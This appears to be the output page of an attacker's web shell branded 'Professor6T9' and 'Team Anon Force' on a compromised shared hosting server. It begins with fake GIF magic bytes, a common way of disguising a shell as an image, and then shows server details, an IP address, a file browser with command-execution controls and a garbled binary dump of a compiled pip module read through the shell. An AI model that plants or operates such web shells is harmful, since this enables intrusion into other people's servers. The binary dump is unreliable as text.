GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux premium22.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
LiteSpeed
68.65.122.106
/
opt
/
alt
/
python35
/
lib
/
python3.5
/
site-packages
/
pip
/
_internal
/
utils
/
__pycache__
[ HOME ]
Exec
Submit
direct_url_helpers.cpython-35.pyc
��Re � @ s� d d l Z d d l m Z m Z m Z m Z m Z m Z d d l m Z d d l m Z y d d l m Z Wn e k r� e Z Yn Xe r� d d l m Z d d l m Z d d l m Z e j e � Z d d � Z d d d d � Z d d � Z d S)� N)�DIRECT_URL_METADATA_NAME�ArchiveInfo� DirectUrl�DirectUrlValidationError�DirInfo�VcsInfo)�MYPY_CHECK_RUNNING)�vcs)�JSONDecodeError)�Optional)�Link)�Distributionc C s | j � | d } g } t | j t � rW | d j | j j | j | j j � 7} ny t | j t � r� | | j 7} | j j r� | j | j j � n8 t | j t � s� t � | j j s� t � | | j 7} | j r� | j d | j � | r | d d j | � 7} | S)z0Convert a DirectUrl to a pip requirement string.z @ z{}+{}@{}z subdirectory=�#�&)�validate� isinstance�infor �formatr �url� commit_idr �hash�appendr �AssertionError�editable�subdirectory�join)� direct_url�name�requirement� fragments� r ��/builddir/build/BUILDROOT/alt-python35-pip-20.2.4-5.el8.x86_64/opt/alt/python35/lib/python3.5/site-packages/pip/_internal/utils/direct_url_helpers.py�%direct_url_as_pep440_direct_reference s$ " r"